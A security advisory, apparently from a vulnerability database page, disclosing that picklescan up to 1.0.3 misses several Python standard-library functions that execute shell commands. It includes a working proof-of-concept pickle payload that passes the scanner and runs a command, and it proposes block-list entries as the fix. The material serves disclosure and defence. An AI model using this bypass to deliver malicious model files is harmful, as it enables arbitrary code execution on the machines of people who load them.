PYSEC-2026-4134

Vulnerability from pysec - Published: 2026-10-01 16:38 - Updated: 2026-10-01 17:10
VLAI
Details

Summary

picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.

Severity

Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

Unblocked RCE Modules

Module Function RCE Mechanism picklescan Result
uuid _get_command_stdout(cmd, *args) subprocess.Popen((cmd,) + args) CLEAN
_osx_support _read_output(cmdstring) os.system() via temp file CLEAN
_osx_support _find_build_tool(toolname) Command injection via %s CLEAN
_aix_support _read_cmd_output(cmdstring) os.system() CLEAN
_pyrepl.pager pipe_pager(text, cmd) subprocess.Popen(cmd, shell=True) CLEAN
_pyrepl.pager tempfile_pager(text, cmd) os.system(cmd + ...) CLEAN
imaplib IMAP4_stream(command) subprocess.Popen(command, shell=True) CLEAN
test.support.script_helper assert_python_ok(*args) Spawns python subprocess CLEAN

All 8 functions are in Python's standard library and importable on all platforms.

Scanner Output

$ picklescan -p uuid_rce.pkl
No issues found.

$ picklescan -p aix_rce.pkl
No issues found.

$ picklescan -p imaplib_rce.pkl
No issues found.

Meanwhile:

$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)

Blocklist Analysis

picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:

  • uuid — not blocked
  • _osx_support — not blocked
  • _aix_support — not blocked
  • _pyrepl — not blocked
  • _pyrepl.pager — not blocked (parent wildcard doesn't apply since _pyrepl isn't blocked)
  • imaplib — not blocked
  • test — not blocked
  • test.support — not blocked
  • test.support.script_helper — not blocked

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# uuid._get_command_stdout — arbitrary command execution
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
    + sbu("bash") + sbu("-c") + sbu("id")
    + b"\x87" + b"R"   # TUPLE3 + REDUCE
    + b"."              # STOP
)

# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN

# Execute: runs `id` command
pickle.loads(payload)

Tested Against

  • picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
  • picklescan v0.0.21 — same result (modules never blocked in any version)

Impact

Any system using picklescan for pickle safety validation is vulnerable. This includes:

  • HuggingFace Hub — uses picklescan server-side to scan uploaded model files
  • ML pipelines — any CI/CD or loading pipeline using picklescan
  • Model registries — any registry relying on picklescan for safety checks

An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.

Suggested Fix

Add to _unsafe_globals in picklescan:

"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",

Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)

Resources

  • picklescan source: scanner.py lines 120-219 (_unsafe_globals)
  • Python source: Lib/uuid.py, Lib/_osx_support.py, Lib/_aix_support.py, Lib/_pyrepl/pager.py, Lib/imaplib.py
Impacted products
Name purl
picklescan pkg:pypi/picklescan

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan",
        "purl": "pkg:pypi/picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56315",
    "GHSA-g38g-8gr9-h9xp"
  ],
  "details": "## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) \u2014 Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python\u0027s standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open(\u0027uuid_rce.pkl\u0027,\u0027rb\u0027).read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3\u0027s `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` \u2014 not blocked\n- `_osx_support` \u2014 not blocked\n- `_aix_support` \u2014 not blocked\n- `_pyrepl` \u2014 not blocked\n- `_pyrepl.pager` \u2014 not blocked (parent wildcard doesn\u0027t apply since `_pyrepl` isn\u0027t blocked)\n- `imaplib` \u2014 not blocked\n- `test` \u2014 not blocked\n- `test.support` \u2014 not blocked\n- `test.support.script_helper` \u2014 not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# uuid._get_command_stdout \u2014 arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) \u2014 latest release\n- picklescan v0.0.21 \u2014 same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** \u2014 uses picklescan server-side to scan uploaded model files\n- **ML pipelines** \u2014 any CI/CD or loading pipeline using picklescan\n- **Model registries** \u2014 any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed \u2014 new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`",
  "id": "PYSEC-2026-4134",
  "modified": "2026-10-01T17:10:37.343133Z",
  "published": "2026-10-01T16:38:26.052080Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/bf26452ae2e3204429762c2bb1aa9eacd40436bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/picklescan"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g38g-8gr9-h9xp"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan has multiple stdlib modules with direct RCE not in blocklist"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…